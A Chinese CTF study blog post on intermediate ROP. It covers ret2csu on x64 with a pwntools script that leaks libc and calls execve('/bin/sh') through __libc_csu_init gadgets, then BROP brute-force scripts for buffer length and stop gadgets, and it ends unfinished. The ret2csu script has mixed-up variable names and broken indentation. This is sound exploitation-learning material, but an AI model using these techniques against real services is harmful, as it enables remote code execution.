1. 程式人生 > >棧溢位----中級ROP

棧溢位----中級ROP

學習資料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/

1.ret2__libc_csu_init

這個主要是爭對64位的程式的,和32位的棧傳參不同的是,在 64 位程式中,函式的前 6 個引數是通過暫存器傳遞的,最完美的情況,肯定是需要的暫存器可以通過ROPgadgets找到合適的,但是總有找不到的情況,那就需要這個技術了

我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函式是用來對 libc 進行初始化操作的,而一般的程式都會呼叫 libc 函式,所以這個函式一定會存在,可以看一下這個函式,如下

我們可以看到我們可以給rsp\rbx\rdi的低32位

大概就是這麼個做法,看個例子

找棧溢位位置

read函式可以輕鬆溢位

開頭還是常規的洩露一波write的地址,更具偏移量來找出exceve函式和/bin/sh字串的地址,這裡還用不上這個技術

接下來把/bin/sh讀到bss欄位中

最後pwn

exp

write_plt=bin.plt['write']
write_got=bin.got['write']
main_addr=0x00000000004005E6
rsi=0x00000000004006b1
rdi=0x00000000004006b3

cn.recvuntil("Input:\n")
payload1='a'*(0x80+0x08)+p64(rsi)+p64(1)+p64(rdi)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
cn.send(payload1)         #leak write
write_addr=u64(cn.recv(8))

base_addr=write_addr-write_got
execve_addr=libc.symbols['execve']+base_addr
binsh_addr=libc.search('/bin/sh').next()+base_addr



csu_front_addr=0x0000000000400690
csu_end_addr=0x00000000004006AA
read_plt=bin.plt['read']
#bss_addr=bin.bss()
bss_addr=0x600A47
cn.recvuntil("Input:\n")

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
payload = 'a' * (0x80+0x08)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)

cn.interactive()

講一下csu的函式吧,主要就是先給r12之類的通過pop賦值,然後調轉給rdi\rsi賦值,然後跳過pop過程,所以要pading,然後跳回main函式,核心其實就是爭對64位的傳參規則進行了利用

 

2.BROP

BROP 是沒有對應應用程式的原始碼或者二進位制檔案下,對程式進行攻擊,劫持程式的執行流

直接盜取學習資料中的圖片

結合例子一點點來吧

大概是這麼個例子,但其實我們是沒有檔案的,需要猜

要洩露地址第一個難點就是要知道我們要覆蓋多少棧空間,咋辦呢,列舉

從1開始列舉,列舉到程式崩潰為止,exp如下

def get_buf_length():
    i=1
    while True:
        try:
            cn = remote('127.0.0.1', 9999)
            cn.recvuntil('WelCome my friend,Do you know password?\n')
            cn.send(i * 'a')
            output = cn.recv()
            cn.close()
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            cn.close()
            return i - 1

這裡我們沒有埠,拿本地埠假裝一下

接下來我們需要知道我們強行找stop gadgets,做法也差不多,exp如下

def get_stop_addr(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\n')
            payload = 'a' * 72 + p64(addr)
            sh.sendline(payload)
            sh.recv()
            sh.close()
            print 'one success addr: 0x%x' % (addr)
            return addr
        except Exception:
            addr += 1
            sh.close()

此外,對於大多數 plt 呼叫來說,一般都不容易崩潰,即使是使用了比較奇怪的引數。所以說,如果我們發現了一系列的長度為 16 的沒有使得程式崩潰的程式碼段,那麼我們有一定的理由相信我們遇到了 plt 表

………………暫時沒學會……